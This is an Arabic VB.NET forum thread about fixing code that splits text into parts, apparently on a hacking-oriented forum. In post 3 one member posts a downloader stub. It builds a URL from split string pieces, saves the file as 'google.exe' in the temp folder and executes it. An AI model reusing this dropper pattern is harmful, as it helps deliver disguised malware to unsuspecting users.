1. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    كان عندى مشكلة وهى تقسيم النص الى اجزاء وحفظها
    انا استعمل هذا الكود ولاكن به مشكلة فى التقسيم
    الكود


    كود:
       Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = TextBox1.Text
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 3
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
    
    









    ممكن حل





     
  2. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
  3. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: مشكلة فى تقسيم النص

    وعليكم السلام قصدك هذا الكود وضح طلبك


    كود:
    
    
    كود تقسيم الروابط
    
    
    
    
    
    
    Public Class Form1
        Dim h, s, o, n As String
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    'تستطيع اضافة دالة وتقسم الرابط الى 5 تقسيمات واكثر 
            h = ""
            s = ""
            o = ""
            n = ""
     
     
     
     
            Dim URL As String = h & s & o & n
            Dim DownloadTo As String = Environ("temp") & "\google.exe"
    re:
            Try
                Dim w As New Net.WebClient
                IO.File.WriteAllBytes(DownloadTo, w.DownloadData(URL))
                Process.Start(DownloadTo)
            Catch ex As Exception
                ' on Error you can retry
                ' Goto Re
            End Try
        End Sub
     
    End Class
     
  4. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: مشكلة فى تقسيم النص

    اسف فهمت الموضوع غلط ضنيت اتريد تقسيم رابط السيرفر اتفضل هذا بلكي يفيدك​

    كود:
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
            Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 1
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
            MsgBox("Done !! ")
        End Sub
     
  5. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: مشكلة فى تقسيم النص

    اخى الكود به مشكلة فى التقسيم
    صورة
    [​IMG]


    انا كنت مخلى البرنامج يقسم النص دة ( minamazen123456789 )على 3 و زى ما انت شايف التقسيم خطاء









     
  6. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: مشكلة فى تقسيم النص

    ي اخي فهمت الخطئ وعذرني لاني لست قوي بالبرمجة


    وانتضر الاخوة يساعدوك​
     
  7. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ

    ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: مشكلة فى تقسيم النص

    تم الحل
     
  8. A-R

    A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    العراق العظيم
    رد: مشكلة فى تقسيم النص

    اي على الخير والحمد الله موفق​
     
  9. علاؤي هكر ألجنوب

    علاؤي هكر ألجنوب Developer

    الأنتساب:
    ‏15 ديسمبر 2015
    المشاركات:
    90
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    العراق
    رد: مشكلة فى تقسيم النص

    [​IMG] احسنت [​IMG]
     

مشاركة هذه الصفحة